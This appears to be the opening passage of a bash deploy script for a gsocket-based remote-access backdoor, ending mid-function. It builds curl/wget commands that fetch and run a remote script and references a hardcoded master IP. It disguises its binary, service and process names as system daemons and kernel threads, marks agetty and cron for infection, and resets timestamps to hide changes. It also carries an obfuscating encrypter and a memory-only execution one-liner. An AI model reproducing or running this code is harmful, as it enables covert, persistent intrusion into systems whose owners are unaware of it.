#! /usr/bin/env bash

[ -z "$GS_NOEVAL" ] && [ "${#BASH_EXECUTION_STRING}" -gt 128 ] && GS_NOEVAL="$BASH_EXECUTION_STRING" IFS="" exec bash -c 'eval "$GS_NOEVAL"'
unset GS_NOEVAL

CICD_GS_BRANCH="beta"
GS_HOST_MASTER_IP="212.132.98.170"
[[ $CICD_GS_BRANCH == "master" ]] && unset CICD_GS_BRANCH
[[ -z $GS_BRANCH ]] && GS_BRANCH="${CICD_GS_BRANCH}"
unset CICD_GS_BRANCH
SCRIPT_DEPLOY_NAME="y"

URL_BASE_CDN="https://github.com/hackerschoice/gsocket.io/raw/refs/heads/gh-pages"
URL_BASE_X="https://github.com/hackerschoice/binary/raw/refs/heads/main/gsocket"

IS_DEPLOY_SERVER=
URL_BASE=
DS_GS_HOST=
DS_GS_PORT=
DS_GS_BEACON=
DS_GS_NAME=
DS_GS_BIN=
gs_deploy_webhook=
GS_WEBHOOK_404_OK=
# -----END deploy_server.sh HOOK-----
[[ -n $URL_BASE ]] && [[ -z $GS_URL_BASE ]] && GS_URL_BASE="$URL_BASE"
[[ -n $IS_DEPLOY_SERVER ]] && unset GS_BRANCH
[ -z "$GS_HOST" ] && GS_HOST="$DS_GS_HOST"
[ -z "$GS_PORT" ] && GS_PORT="$DS_GS_PORT"
[ -z "$GS_BEACON" ] && GS_BEACON="$DS_GS_BEACON"
[ -z "$GS_NAME" ] && GS_NAME="$DS_GS_NAME"
[ -z "$GS_BIN" ] && GS_BIN="$DS_GS_BIN"
[ -n "$gs_deploy_webhook" ] && GS_WEBHOOK="$gs_deploy_webhook"
unset gs_deploy_webhook DS_GS_HOST DS_GS_PORT DS_GS_BEACON DS_GS_NAME DS_GS_BIN

[ -z "$GS_NOLINEHIDING" ] && _ESC_CLEARLN=$'\e'"[2K"$'\e'"[1A"

ORIG_ARGS=("$@")
[[ -n $GS_URL_BASE ]] && {
    URL_BASE_CDN="${GS_URL_BASE}"
    URL_BASE_X="${GS_URL_BASE}"
}
[[ -n $GS_BRANCH ]] && {
    URL_BASE_CDN+="/${GS_BRANCH}"
    URL_BASE_X+="/${GS_BRANCH}"
}
URL_BIN="${URL_BASE_CDN}/bin"
[ -n "$GS_URL_BIN" ] && URL_BIN="${GS_URL_BIN}"
[ -z "$GS_URL_DEPLOY" ] && GS_URL_DEPLOY="${URL_BASE_X}/${SCRIPT_DEPLOY_NAME}"
unset URL_BASE_CDN URL_BASE_X


DL_CRL="bash -c \"\$(curl -fsSL $GS_URL_DEPLOY)\""
DL_WGT="bash -c \"\$(wget -qO-  $GS_URL_DEPLOY)\""

bin_hidden_name_arr=("udevd-sync" "netd" "firewallctl" "bootcfg" "authd")
BIN_HIDDEN_NAME_DEFAULT="${bin_hidden_name_arr[$((RANDOM % ${#bin_hidden_name_arr[@]}))]}"

service_hidden_name_arr=("systemd-hwdb-update" "network-core" "auth-policykit" "ssh-agent-proxy" "journald-forwarder")
SERVICE_HIDDEN_NAME_DEFAULT="${service_hidden_name_arr[$((RANDOM % ${#service_hidden_name_arr[@]}))]}"

proc_name_arr=("sshd:" "[kthreadd]" "[kstrp]" "[watchdogd]" "[ksmd]" "[kswapd0]" "[card0-crtc8]" "[mm_percpu_wq]" "[rcu_preempt]" "[kworker]" "[raid5wq]" "[slub_flushwq]" "[netns]" "[kaluad]")
PROC_HIDDEN_NAME_DEFAULT="${proc_name_arr[$((RANDOM % ${#proc_name_arr[@]}))]}"

config_dir_name_arr=("tmp" "etc" "lib" "cache" "bin" "share")
CONFIG_DIR_NAME_DEFAULT="${config_dir_name_arr[$((RANDOM % ${#config_dir_name_arr[@]}))]}"

GS_REEXEC=1
GS_BC=1
[ -z "$GS_SYSTEMD_PERSIST" ] && GS_SYSTEMD_PERSIST="oneshot"
GS_MEMEXEC=1

[ -n "$GS_NOINFECT" ] && unset GS_INFECT
[ -n "$GS_NONOTE" ] && unset GS_NOTE
[ -n "$GS_NOFFPID" ] && unset GS_FFPID
[ -n "$GS_NOREEXEC" ] && unset GS_REEXEC
[ -n "$GS_NOMEMEXEC" ] && unset GS_MEMEXEC
[ -n "$GS_NOBC" ] && unset GS_BC
[ -z "$GS_MEMEXEC" ] && unset GS_BC
unset SYSTEMD_INSTALL_CHECK_IS_ACTIVE

# systemd candidates for binary infection
res=$(command -v agetty) && {
    INFECT_BIN_NAME_ARR+=("${res:?}")
    if systemctl is-active --quiet 'getty@tty1' &>/dev/null; then
        INFECT_SYSCTL_NAME_ARR+=("getty@tty1")
        systemctl show 'getty@tty1' --property=ExecStart | grep -qm1 -F "noclear" && INFECT_SYSTEMD_ARGV_MATCH="noclear"
    elif systemctl is-active --quiet 'serial-getty@ttyS0' &>/dev/null; then
        INFECT_SYSCTL_NAME_ARR+=("serial-getty@ttyS0")
        INFECT_SYSTEMD_ARGV_MATCH="ttyS0"
    fi
}
res=$(command -v cron) && {
    INFECT_BIN_NAME_ARR+=("${res:?}")
    INFECT_SYSCTL_NAME_ARR+=("cron")
}

# Names for 'uninstall'
BIN_HIDDEN_NAME_RM=("${bin_hidden_name_arr[@]}" "core" "defunct" "gs-dbus" "gs-db")
CONFIG_DIR_NAME_RM=("${config_dir_name_arr[@]}" "htop" "dbus")
service_hidden_name_arr_rm=("${service_hidden_name_arr[@]}" "defunct" "gs-dbus" "gs-db")

[[ -t 1 ]] && {
    CY="\033[1;33m"
    CG="\033[1;32m"
    CR="\033[1;31m"
    CB="\033[1;34m"
    CM="\033[1;35m"
    CC="\033[1;36m"
    CDR="\033[0;31m"
    CDB="\033[0;34m"
    CDG="\033[0;32m"
    CDY="\033[0;33m"
    CDC="\033[0;36m"
    CF="\033[2m"
    CN="\033[0m"
    CW="\033[1;37m"
    CUL="\e[4m"
    CRY="\e[0;33;41m"
}

if [[ -z "$GS_DEBUG" ]]; then
    DEBUGF(){ :;}
else
    DEBUGF(){ echo -e "${CY}DEBUG:${CN} $*";}
fi

# %%BINCRYPTER_HOOK%%
_bincrypter() {
    local str ifn fn s c DATA P _P S HOOK _PASSWORD
    local USE_PERL=1
    local _BC_QUIET
    local _BC_LOCK
    if [ -n "$USE_PERL" ]; then
        _bc_xdd() { [ -z "$DEBUG" ] && LANG=C perl -e 'read(STDIN,$_, '"$1"'); print;'; }
        _bc_xtr() { LANG=C perl -pe 's/['"${1}${2}"']//g;'; }
        _bc_xprintf() { LANG=C perl -e "print(\"$1\")"; }
    else
        _bc_xdd() { [ -z "$DEBUG" ] && dd bs="$1" count=1 2>/dev/null;}
        _bc_xtr() { tr -d"${1:+c}" "${2}";}
        _bc_xprintf() { printf "$@"; }
    fi
    _BC_QUIET="${BC_QUIET:-$_OPT_BC_QUIET}"
    _BC_LOCK="${BC_LOCK:-$_OPT_BC_LOCK}"
    _bc_err() {
        echo -e >&2 "${CDR}ERROR${CN}: $*"
        [ "$fn" = "-" ] && {
            cat
            return 0
        }
        return 255
    }
    _bc_ob64() {
        local i
        local h="$1"
        local str
        local x
        local s
        s=0
        while [ ${#h} -gt 0 ]; do
            i=$((1 + RANDOM % 4))
            str+=${h:0:$s}
            [ ${#x} -le $i ] && x=$(_bc_xdd 128 </dev/urandom | _bc_xtr '' '[:print:]\0\n\t')
            str+=${x:0:$i}
            x=${x:$i}
            h=${h:$s}
            s=$((1 + RANDOM % 3))
        done
        echo "$str"
    }
    _bc_obbell() {
        local h="$1"
        local str
        local x
        local s
        [ -n "$DEBUG" ] && { echo "$h"; return; }
        while [ ${#h} -gt 0 ]; do
            s=$((1 + RANDOM % 4))
            str+=${h:0:$s}
            if [ $((RANDOM % 2)) -eq 0 ]; then
                str+='`! :&&'$'\b''#`'
            else
                str+='`:||'$'\a''`'
            fi
            h=${h:$s}
        done
        echo "$str"
    }
    _bcl_gen_p() {
        local _k
        local str
        [ -z "$BC_BCL_TEST_FAIL" ] && _k="$(_bcl_get)" && _P="$(echo "$1" | openssl enc -d -aes-256-cbc -md sha256 -nosalt -k "$_k" -a -A 2>/dev/null)"
        [ -n "$_P" ] && return 0
        [ -n "$fn" ] && {
            unset BCL BCV _P P S fn
            unset -f _bcl_get _bcl_verify _bcl_verify_dec
            return 255
        }
        BCL="$(echo "$BCL" | openssl base64 -d -A 2>/dev/null)"
        [ "$BCL" -eq "$BCL" ] 2>/dev/null && exit "$BCL"
        str="$(echo "$BCL" | openssl base64 -d -A 2>/dev/null)"
        BCL="${str:-$BCL}"
        exec /bin/sh -c "$BCL"
        exit 255
    }
    :||_bcl_gen_p ""
    _bcl_gen() {
        local _k
        local p
        _k="$(_bcl_get)"
        [ -z "$_k" ] && { echo -e >&2 "${CDR}ERROR${CN}: BC_LOCK not supported on this system"; return 255; }
        p="$(echo "$P" | openssl enc -aes-256-cbc -md sha256 -nosalt -k "${_k}" -a -A 2>/dev/null)"
        [ -z "$p" ] && { echo -e >&2 "${CDR}ERROR${CN}: Failed to generate BC_LOCK password"; return 255; }
        P="$p"
        str+="$(declare -f _bcl_verify_dec)"$'\n'
        str+="_bcl_verify() { _bcl_verify_dec \"\$@\"; }"$'\n'
        str+="$(declare -f _bcl_get)"$'\n'
        str+="$(declare -f _bcl_gen_p)"$'\n'
        str+="BCL='$(openssl base64 -A <<<"${_BC_LOCK}")'"$'\n'
        str+="BCV='$(echo TEST-VALUE-VERIFY | openssl enc -aes-256-cbc -md sha256 -nosalt -k "B-${_k}" -a -A 2>/dev/null)'"$'\n'
    }
    _bcl_verify_dec() {
        [ "TEST-VALUE-VERIFY" != "$(echo "$BCV" | openssl enc -d -aes-256-cbc -md sha256 -nosalt -k "B-${1}-${UID}" -a -A 2>/dev/null)" ] && return 255
        echo "$1-${UID}"
    }
    _bcl_verify() {
        [ -z "$1" ] && return 255
        echo "$1-${UID}"
    }
    :||_bcl_verify
    _bcl_get() {
        [ -z "$UID" ] && UID="$(id -u 2>/dev/null)"
        [ -f "/etc/machine-id" ] && _bcl_verify "$(cat "/etc/machine-id" 2>/dev/null)" && return
        command -v dmidecode >/dev/null && _bcl_verify "$(dmidecode -t 1 2>/dev/null | LANG=C perl -ne '/UUID/ && print && exit')" && return
        _bcl_verify "$({ ip l sh dev "$(LANG=C ip route show match 1.1.1.1 | perl -ne 's/.*dev ([^ ]*) .*/\1/ && print && exit')" | LANG=C perl -ne 'print if /ether / && s/.*ether ([^ ]*).*/\1/';} 2>/dev/null)" && return
        _bcl_verify "$({ blkid -o export | LANG=C perl -ne '/^UUID/ && s/[^[:alnum:]]//g && print && exit';} 2>/dev/null)" && return
        _bcl_verify "$({ fdisk -l | LANG=C perl -ne '/identifier/i && s/[^[:alnum:]]//g && print && exit';} 2>/dev/null)" && return
    }
    fn="-"
    [ "$#" -gt 0 ] && fn="$1"
    [ "$fn" != "-" ] && [ ! -f "$fn" ] && { _bc_err "File not found: $fn"; return; }
    [ "$fn" != "-" ] && [ ! -r "$fn" ] && { _bc_err "File not readable: $fn"; return; }
    [ -n "$BC_BCL_TEST_FAIL_COMMAND" ] && { _bc_err "$BC_BCL_TEST_FAIL_COMMAND is required (fn=$fn)"; return; }
    command -v openssl >/dev/null || { _bc_err "openssl is required"; return; }
    command -v perl >/dev/null || { _bc_err "perl is required"; return; }
    command -v gzip >/dev/null || { _bc_err "gzip is required"; return; }
    [ ! -c "/dev/urandom" ] && { _bc_err "/dev/urandom is required"; return; }
    _PASSWORD="${2:-${PASSWORD:-$BC_PASSWORD}}"
    [ -n "$_BC_LOCK" ] && [ -n "$_PASSWORD" ] && { echo -e >&2 "${CDR}WARN${CN}: ${CDY}PASSWORD${CN} is ignored when using ${CDY}BC_LOCK${CN}."; unset _PASSWORD; }
    [ -z "$_PASSWORD" ] && P="$(DEBUG='' _bc_xdd 32 </dev/urandom | openssl base64 -A | _bc_xtr '^' '[:alnum:]' | DEBUG='' _bc_xdd 16)"
    _P="${_PASSWORD:-$P}"
    [ -z "$_P" ] && { _bc_err "No ${CDC}PASSWORD=<password>${CN} provided and failed to generate one."; return; }
    unset _PASSWORD
    S="$(DEBUG='' _bc_xdd 32 </dev/urandom | openssl base64 -A | _bc_xtr '^' '[:alnum:]' | DEBUG='' _bc_xdd 16)"
    HOOK='Zm9yIHggaW4gb3BlbnNzbCBwZXJsIGd1bnppcDsgZG8KICAgIGNvbW1hbmQgLXYgIiR4IiA+L2Rldi9udWxsIHx8IHsgZWNobyA+JjIgIkVSUk9SOiBDb21tYW5kIG5vdCBmb3VuZDogJHgiOyByZXR1cm4gMjU1OyB9CmRvbmUKdW5zZXQgZm4gX2VycgppZiBbIC1uICIkWlNIX1ZFUlNJT04iIF07IHRoZW4KICAgIFsgIiRaU0hfRVZBTF9DT05URVhUIiAhPSAiJHtaU0hfRVZBTF9DT05URVhUJSI6ZmlsZToiKn0iIF0gJiYgZm49IiQwIgplbGlmIFsgLW4gIiRCQVNIX1ZFUlNJT04iIF07IHRoZW4KICAgIChyZXR1cm4gMCAyPi9kZXYvbnVsbCkgJiYgZm49IiR7QkFTSF9TT1VSQ0VbMF19IgpmaQpmbj0iJHtCQ19GTjotJGZufSIKWFM9IiR7QkFTSF9FWEVDVVRJT05fU1RSSU5HOi0kWlNIX0VYRUNVVElPTl9TVFJJTkd9IgpbIC16ICIkWFMiIF0gJiYgdW5zZXQgWFMKWyAteiAiJGZuIiBdICYmIFsgLXogIiRYUyIgXSAmJiBbICEgLWYgIiQwIiBdICYmIHsKICAgIGVjaG8gPiYyICdFUlJPUjogU2hlbGwgbm90IHN1cHBvcnRlZC4gVHJ5ICJCQ19GTj1GaWxlTmFtZSBzb3VyY2UgRmlsZU5hbWUiJwogICAgX2Vycj0xCn0KX2JjX2RlYygpIHsKICAgIF9QPSIke1BBU1NXT1JEOi0kQkNfUEFTU1dPUkR9IgogICAgdW5zZXQgXyBQQVNTV09SRCAKICAgIGlmIFsgLW4gIiRQIiBdOyB0aGVuCiAgICAgICAgaWYgWyAtbiAiJEJDViIgXSAmJiBbIC1uICIkQkNMIiBdOyB0aGVuCiAgICAgICAgICAgIF9iY2xfZ2VuX3AgIiRQIiB8fCByZXR1cm4KICAgICAgICBlbHNlCiAgICAgICAgICAgIF9QPSIkKGVjaG8gIiRQInxvcGVuc3NsIGJhc2U2NCAtQSAtZCkiCiAgICAgICAgZmkKICAgIGVsc2UKICAgICAgICBbIC16ICIkX1AiIF0gJiYgewogICAgICAgICAgICBlY2hvID4mMiAtbiAiRW50ZXIgcGFzc3dvcmQ6ICIKICAgICAgICAgICAgcmVhZCAtciBfUAogICAgICAgIH0KICAgIGZpCiAgICBbIC1uICIkQyIgXSAmJiB7CiAgICAgICAgbG9jYWwgc3RyCiAgICAgICAgc3RyPSIkKGVjaG8gIiRDIiB8IG9wZW5zc2wgZW5jIC1kIC1hZXMtMjU2LWNiYyAtbWQgc2hhMjU2IC1ub3NhbHQgLWsgIkMtJHtTfS0ke19QfSIgLWEgLUEgMj4vZGV2L251bGwpIgogICAgICAgIHVuc2V0IEMKICAgICAgICBbIC16ICIkc3RyIiBdICYmIHsKICAgICAgICAgICAgWyAtbiAiJEJDTCIgXSAmJiBlY2hvID4mMiAiRVJST1I6IERlY3J5cHRpb24gZmFpbGVkLiIKICAgICAgICAgICAgcmV0dXJuIDI1NQogICAgICAgIH0KICAgICAgICBldmFsICIkc3RyIgogICAgICAgIHVuc2V0IHN0cgogICAgfQogICAgWyAtbiAiJFhTIiBdICYmIHsKICAgICAgICBleGVjIGJhc2ggLWMgIiQocHJpbnRmICVzICIkWFMiIHxMQU5HPUMgcGVybCAtZSAnPD47PD47cmVhZChTVERJTiwkXywxKTt3aGlsZSg8Pil7cy9CMy9cbi9nO3MvQjEvXHgwMC9nO3MvQjIvQi9nO3ByaW50fSd8b3BlbnNzbCBlbmMgLWQgLWFlcy0yNTYtY2JjIC1tZCBzaGEyNTYgLW5vc2FsdCAtayAiJHtTfS0ke19QfSIgMj4vZGV2L251bGx8TEFORz1DIHBlcmwgLWUgInJlYWQoU1RESU4sXCRfLCAke1I6LTB9KTtwcmludCg8PikifGd1bnppcCkiCiAgICB9CiAgICBbIC16ICIkZm4iIF0gJiYgWyAtZiAiJDAiIF0gJiYgewogICAgICAgIHpmPSdyZWFkKFNURElOLFwkXywxKTt3aGlsZSg8Pil7cy9CMy9cbi9nO3MvQjEvXFx4MDAvZztzL0IyL0IvZztwcmludH0nCiAgICAgICAgcHJnPSJwZXJsIC1lICc8Pjs8PjskemYnPCckezB9J3xvcGVuc3NsIGVuYyAtZCAtYWVzLTI1Ni1jYmMgLW1kIHNoYTI1NiAtbm9zYWx0IC1rICcke1N9LSR7X1B9JyAyPi9kZXYvbnVsbHxwZXJsIC1lICdyZWFkKFNURElOLFxcXCRfLCAke1I6LTB9KTtwcmludCg8PiknfGd1bnppcCIKICAgICAgICBMQU5HPUMgZXhlYyBwZXJsICctZSReRj0yNTU7Zm9yKDMxOSwyNzksMzg1LDQzMTQsNDM1NCl7KCRmPXN5c2NhbGwkXywkIiwwKT4wJiZsYXN0fTtvcGVuKCRvLCI+Jj0iLiRmKTtvcGVuKCRpLCInIiRwcmciJ3wiKTtwcmludCRvKDwkaT4pO2Nsb3NlKCRpKXx8ZXhpdCgkPy8yNTYpOyRFTlZ7IkxBTkcifT0iJyIkTEFORyInIjtleGVjeyIvcHJvYy8kJC9mZC8kZiJ9IiciJHswOi1weXRob24zfSInIixAQVJHVjtleGl0IDI1NScgLS0gIiRAIgogICAgfQogICAgWyAtZiAiJHtmbn0iIF0gJiYgewogICAgICAgIHVuc2V0IC1mIF9iY2xfZ2V0IF9iY2xfdmVyaWZ5IF9iY2xfdmVyaWZ5X2RlYwogICAgICAgIHVuc2V0IEJDTCBCQ1YgXyBQIF9lcnIKICAgICAgICBldmFsICJ1bnNldCBfUCBTIFIgZm47JChMQU5HPUMgcGVybCAtZSAnPD47PD47cmVhZChTVERJTiwkXywxKTt3aGlsZSg8Pil7cy9CMy9cbi9nO3MvQjEvXHgwMC9nO3MvQjIvQi9nO3ByaW50fSc8IiR7Zm59InxvcGVuc3NsIGVuYyAtZCAtYWVzLTI1Ni1jYmMgLW1kIHNoYTI1NiAtbm9zYWx0IC1rICIke1N9LSR7X1B9IiAyPi9kZXYvbnVsbHxMQU5HPUMgcGVybCAtZSAicmVhZChTVERJTixcJF8sICR7UjotMH0pO3ByaW50KDw+KSJ8Z3VuemlwKSIKICAgICAgICByZXR1cm4KICAgIH0KICAgIFsgLXogIiRmbiIgXSAmJiByZXR1cm4KICAgIGVjaG8gPiYyICJFUlJPUjogRmlsZSBub3QgZm91bmQ6ICRmbiIKICAgIF9lcnI9MQp9ClsgLXogIiRfZXJyIiBdICYmIF9iY19kZWMgIiRAIgp1bnNldCBmbgp1bnNldCAtZiBfYmNfZGVjCmlmIFsgLW4gIiRfZXJyIiBdOyB0aGVuCiAgICB1bnNldCBfZXJyCiAgICBmYWxzZQplbHNlCiAgICB0cnVlCmZpCg=='
    unset str _C R
    [ -n "$_BC_LOCK" ] && _bcl_gen
    [ -z "$str" ] && {
        str="unset BCV BCL"$'\n'
        [ -n "$P" ] && P="$(echo "$P"|openssl base64 -A 2>/dev/null)"
    }
    [ -n "$P" ] && {
        str+="P=${P}"$'\n'
        unset P
    }
    str+="S='$S'"$'\n'
    ifn="$fn"
    [ "$fn" = "-" ] && ifn="/dev/stdin"
    DATA="$(gzip <"$ifn" | openssl base64)" || return 255
    [ "$BC_PADDING" != "0" ] && {
        local sz="${#DATA}"
        [ "$sz" -lt 31337 ] && sz=31337
        R="$(( (RANDOM * 32768 + RANDOM) % ((sz / 100) * ${BC_PADDING:-25})))"
    }
    _C+="R=${R:-0}"$'\n'
    [ -n "$_C" ] && {
        [ -n "$DEBUG" ] && echo >&2 "Store C=ENC('${_C}')"
        str+="C=$(echo "$_C" | openssl enc -aes-256-cbc -md sha256 -nosalt -k "C-${S}-${_P}" -a -A 2>/dev/null)"$'\n'
    }
    str+="$(echo "$HOOK"|openssl base64 -A -d)"
    [ -n "$DEBUG" ] && { echo -en >&2 "DEBUG: ===code===\n${CDM}${CF}"; echo >&2 "$str"; echo -en >&2 "${CN}"; }
    HOOK="$(echo "$str" | openssl base64 -A)"
    HOOK="$(_bc_ob64 "$HOOK")"
    [ -z "$_BC_QUIET" ] && [ "$fn" != "-" ] && { 
        s="$(stat -c %s "$fn")"
        [ "$s" -gt 0 ] || { _bc_err "Empty file: $fn"; return; }
    }
    [ "$fn" = "-" ] && fn="/dev/stdout"
    { 
        echo '#!/bin/sh'
        echo -n "_='" 
        _bc_xdd 66 </dev/urandom | _bc_xtr '' "[:print:]\0\n'"
        _bc_xdd "$((1024 + RANDOM % 4096))" </dev/urandom| _bc_xtr '' "[:print:]\0{2,}\n'"
        _bc_xprintf "';"
        echo "$(_bc_obbell 'eval "')\$$(_bc_obbell '(echo ')$HOOK|LANG=C $(_bc_obbell "perl -pe \"s/[^[:print:]]//g\"")$(_bc_obbell "|openssl base64 -A -d)")\""
        echo -n '#'
        ( DEBUG='' _bc_xdd "${R:-0}" </dev/urandom; openssl base64 -d<<<"$DATA") |openssl enc -aes-256-cbc -md sha256 -nosalt -k "${S}-${_P}" 2>/dev/null | LANG=C perl -pe 's/B/B2/g; s/\x00/B1/g; s/\n/B3/g'
    } > "$fn"
    [ -n "$s" ] && {
        c="$(stat -c %s "$fn" 2>/dev/null)"
        [ -n "$c" ] && echo -e >&2 "${CDY}Compressed:${CN} ${CDM}$s ${CF}-->${CN}${CDM} $c ${CN}[${CDG}$((c * 100 / s))%${CN}]"
    }
    unset -f _bc_usage _bcl_get _bcl_verify _bcl_verify_dec _bc_err _bc_ob64 _bc_obbell _bc_xdd _bc_xtr _bc_xprintf
    [ -z "$_BC_QUIET" ] && echo -e >&2 "${CDG}Done${CN}"
    return 0
}
declare -F _bincrypter >/dev/null || {
    command -v bincrypter >/dev/null && {
        DEBUGF "Using systemwide bincrypter"
        _bincrypter() { bincrypter "$@"; }
    }
}

_ts_fix()
{
    local fn
    local ts
    local args
    local ax
    fn="$1"
    ts="$2"

    args=()

    [[ ! -e "$1" ]] && return
    [[ -z $ts ]] && return

    [[ -n "$3" ]] && args=("-h")

    [[ "${ts:0:1}" = '/' ]] && {
        [[ ! -e "${ts}" ]] && ts="/etc/ld.so.conf"
        ax=("${args[@]}" "-r" "$ts" "$fn")
        touch "${ax[@]}" 2>/dev/null
        return
    }
    ax=("${args[@]}" "-t" "$ts" "$fn")
    touch "${ax[@]}" 2>/dev/null && return
    ax=("${args[@]}" "-r" "/etc/ld.so.conf" "$fn")
    touch "${ax[@]}" 2>/dev/null
}

ts_restore()
{
    local fn
    local n
    local ts

    [[ ${#_ts_fn_a[@]} -ne ${#_ts_ts_a[@]} ]] && { echo >&2 "Ooops"; return; }

    n=0
    while :; do
        [[ $n -eq "${#_ts_fn_a[@]}" ]] && break
        ts="${_ts_ts_a[$n]}"
        fn="${_ts_fn_a[$n]}"
        ((n++))

        _ts_fix "$fn" "$ts"
    done
    unset _ts_fn_a
    unset _ts_ts_a

    n=0
    while :; do
        [[ $n -eq "${#_ts_systemd_ts_a[@]}" ]] && break
        ts="${_ts_systemd_ts_a[$n]}"
        fn="${_ts_systemd_fn_a[$n]}"
        ((n++))

        _ts_fix "$fn" "$ts" "symlink"
    done
    unset _ts_systemd_fn_a
    unset _ts_systemd_ts_a
}

ts_is_marked()
{
    local fn
    local a
    fn="$1"

    for a in "${_ts_fn_a[@]}"; do
        [[ "$a" = "$fn" ]] && return 0
    done

    return 1
}

ts_add_systemd()
{
    local fn
    local ts
    local ref
    fn="$1"
    ref="$2"

    ts="$ref"
    [[ -z $ref ]] && {
        ts="$(date -r "$fn" +%Y%m%d%H%M.%S 2>/dev/null)" || return
    }

    _ts_systemd_ts_a+=("$ts")
    _ts_systemd_fn_a+=("$fn")
}

_ts_get_ts()
{
    local fn
    local n
    local pdir
    local oldest
    fn="$1"
    pdir="$(dirname "$1")"

    unset _ts_ts
    unset _ts_pdir_by_us
    n=0
    while :; do
        [[ $n -eq "${#_ts_fn_a[@]}" ]] && break
        [[ "$pdir" = "${_ts_mkdir_fn_a[$n]}" ]] && {
            _ts_ts="${_ts_ts_a[$n]}"
            _ts_pdir_by_us=1
            return
        }
        ((n++))
    done

    [[ -e "$fn" ]] && _ts_ts="$(date -r "$fn" +%Y%m%d%H%M.%S 2>/dev/null)" && return

    oldest="${pdir}/$(ls -atr "${pdir}" 2>/dev/null | head -n1)"
    _ts_ts="$(date -r "$oldest" +%Y%m%d%H%M.%S 2>/dev/null)"
}

_ts_add()
{
    _ts_get_ts "$1"
    _ts_ts_a+=("$_ts_ts")
    _ts_fn_a+=("$1");
    _ts_mkdir_fn_a+=("$2")
}

_ts_add_pdir() {
    local pdir

    pdir="$(dirname "${1:?}")"
    ts_is_marked "$pdir" && return 200

    _ts_add "$pdir" "<NOT BY ADD_PDIR>"
}

mk_file()
{
    local fn
    local pdir_added
    fn="$1"
    local exists

    [ -d "$fn" ] && { ERR_LOG="File '$fn' already exists and is a directory."; return 254; }

    _ts_add_pdir "$fn" && pdir_added=1
    [ -e "$fn" ] && exists=1
    ts_is_marked "$fn" || {
        _ts_get_ts "$fn"
        touch "$fn" 2>/dev/null || {
            [[ -n "$pdir_added" ]] && {
                unset "_ts_ts_a[${#_ts_ts_a[@]}-1]"
                unset "_ts_fn_a[${#_ts_fn_a[@]}-1]"
                unset "_ts_mkdir_fn_a[${#_ts_mkdir_fn_a[@]}-1]"
            }
            ERR_LOG="Permission denied: '$fn'"
            return 69
        }
        [[ -z $exists ]] && chmod 600 "$fn"
        _ts_ts_a+=("$_ts_ts")
        _ts_fn_a+=("$fn");
        _ts_mkdir_fn_a+=("<NOT BY XMKDIR>")
        return
    }

    touch "$fn" 2>/dev/null || return
    [[ -z $exists ]] && chmod 600 "$fn"
    true
}

xrmdir()
{
    local fn
    local pdir
    fn="$1"

    [[ ! -d "$fn" ]] && return
    _ts_add_pdir "$fn"

    rmdir "${fn:?}" 2>/dev/null
}

xrm() {
    local pdir
    local fn
    fn="$1"

    [[ ! -f "$fn" ]] && return
    _ts_add_pdir "$fn"

    rm -f "${fn:?}" 2>/dev/null
}

xmkdir() {
    local fn
    local pdir
    fn="$1"

    DEBUGF "${CG}XMKDIR($fn)${CN}"
    pdir="$(dirname "$fn")"
    true
    [[ -d "$fn" ]] && return
    [[ ! -d "$pdir" ]] && return

    ts_is_marked "$pdir" || {
        _ts_add "$pdir" "<NOT BY XMKDIR>"
    }

    ts_is_marked "$fn" || {
        _ts_add "$fn" "$fn"
    }

    mkdir "$fn" 2>/dev/null || return
    chmod 700 "$fn"
    true
}

xcp() {
    local src="$1"
    local dst="$2"

    { [ -z "$2" ] || [ "$2" == "-" ]; } && { cat "$src"; return; }
    mk_file "$dst" || return
    cp "$src" "$dst" || return
    return 0
}

xmv() {
    local src="$1"
    local dst="$2"

    _ts_add_pdir "$dst"
    _ts_add_pdir "$src"
    [[ -e "$dst" ]] && rm -f "$dst"

    mv "$src" "$dst"
    return 0
}

exit_code() {
    ts_restore
    exit "$1"
}

errexit() {
    [[ -z "$1" ]] || echo -e >&2 "${CR}$*${CN}"
    exit_code 255
}

try_execbin() {
    local fn="${1:?}"
    local is_try_ldso="${2}"

    [[ -n "$is_try_ldso" ]] && [[ -n "$LDSO" ]] && {
        chmod 600 "$fn"
        "$LDSO" "${fn}" -g &>/dev/null && return 0
    }

    chmod 700 "$fn"
    "${fn}" -g &>/dev/null || return 255
    unset LDSO
    return 0
}

try_dstdir()
{
    local dstdir="${1:?}"
    local trybin
    local is_try_ldso="${2}"
    local is_need_rmdir

    [[ ! -d "${dstdir}" ]] && { xmkdir "${dstdir}" || return 101; _IS_DSTDIR_CREATED=1; is_need_rmdir=1; }

    DSTBIN="${dstdir}/${BIN_HIDDEN_NAME}"
 
    mk_file "$DSTBIN" || { [ -n "$is_need_rmdir" ] && xrmdir "$dstdir"; return 102; }

    for ebin in "/bin/true" "/usr/bin/true" "$(command -v id)"; do
        [[ -z $ebin ]] && continue
        [[ -e "$ebin" ]] && break
    done
    [[ ! -e "$ebin" ]] && return 0

    trybin="${dstdir}/$(basename "$ebin")"

    [[ "$ebin" -ef "$trybin" ]] && return 0
    mk_file "$trybin" || { [ -n "$is_need_rmdir" ] && xrmdir "$dstdir"; return 103; }

    cp "$ebin" "$trybin" &>/dev/null && {
        try_execbin "${trybin:?}" "${is_try_ldso}" && {
            rm -f "${trybin:?}"
            return 0
        }
    }
    [ -n "$is_need_rmdir" ] && xrmdir "$dstdir"
    return 255
}

output_memexec() {
    [[ "$OSNAME" != "linux" ]] && return
    echo -e "Alternativly, cut & paste the following to deploy to memory:"
    [[ -z "$X" ]] && {
        echo -e "${CDC}X=${CDY}SecretChangeMe${CDR} ${CRY}# <--- CHANGE THIS!${CN}"
    }
    echo -e "${CM}${DL[*]} ${URL_BIN}/${SRC_PKG} | \\"
    echo "GS_ARGS=\"-ilD -s \${X:?}\" \\"
    echo -n 'perl '"'"'-efor(319,279){($f=syscall$_,$",1)>0&&last};open($o,">&=".$f);print$o(<STDIN>);exec{"/proc/$$/fd/$f"}X,@ARGV'"'"' --'
    echo -e "${CN}"
}

init_dstbin_exit() {
    echo -e >&2 "${CR}ERROR: Can not find writeable and executable directory.${CN}"
    WARN "Try setting GS_DSTDIR= to a writeable and executable directory."
    [ -z "$S" ] && output_memexec
    errexit
}

init_dstbin()
{
    if [[ -n "$GS_DSTDIR" ]]; then
        try_dstdir "${GS_DSTDIR}" "" && return
        errexit "FAILED: GS_DSTDIR=${GS_DSTDIR} is not writeable and executeable."
    fi

    [ -n "$S" ] && {
        try_dstdir "/dev/shm/.gsusr-${UID}" "1" && return
        try_dstdir "/var/tmp/.gsusr-${UID}" "1" && return
        try_dstdir "/tmp/.gsusr-${UID}" "1" && return
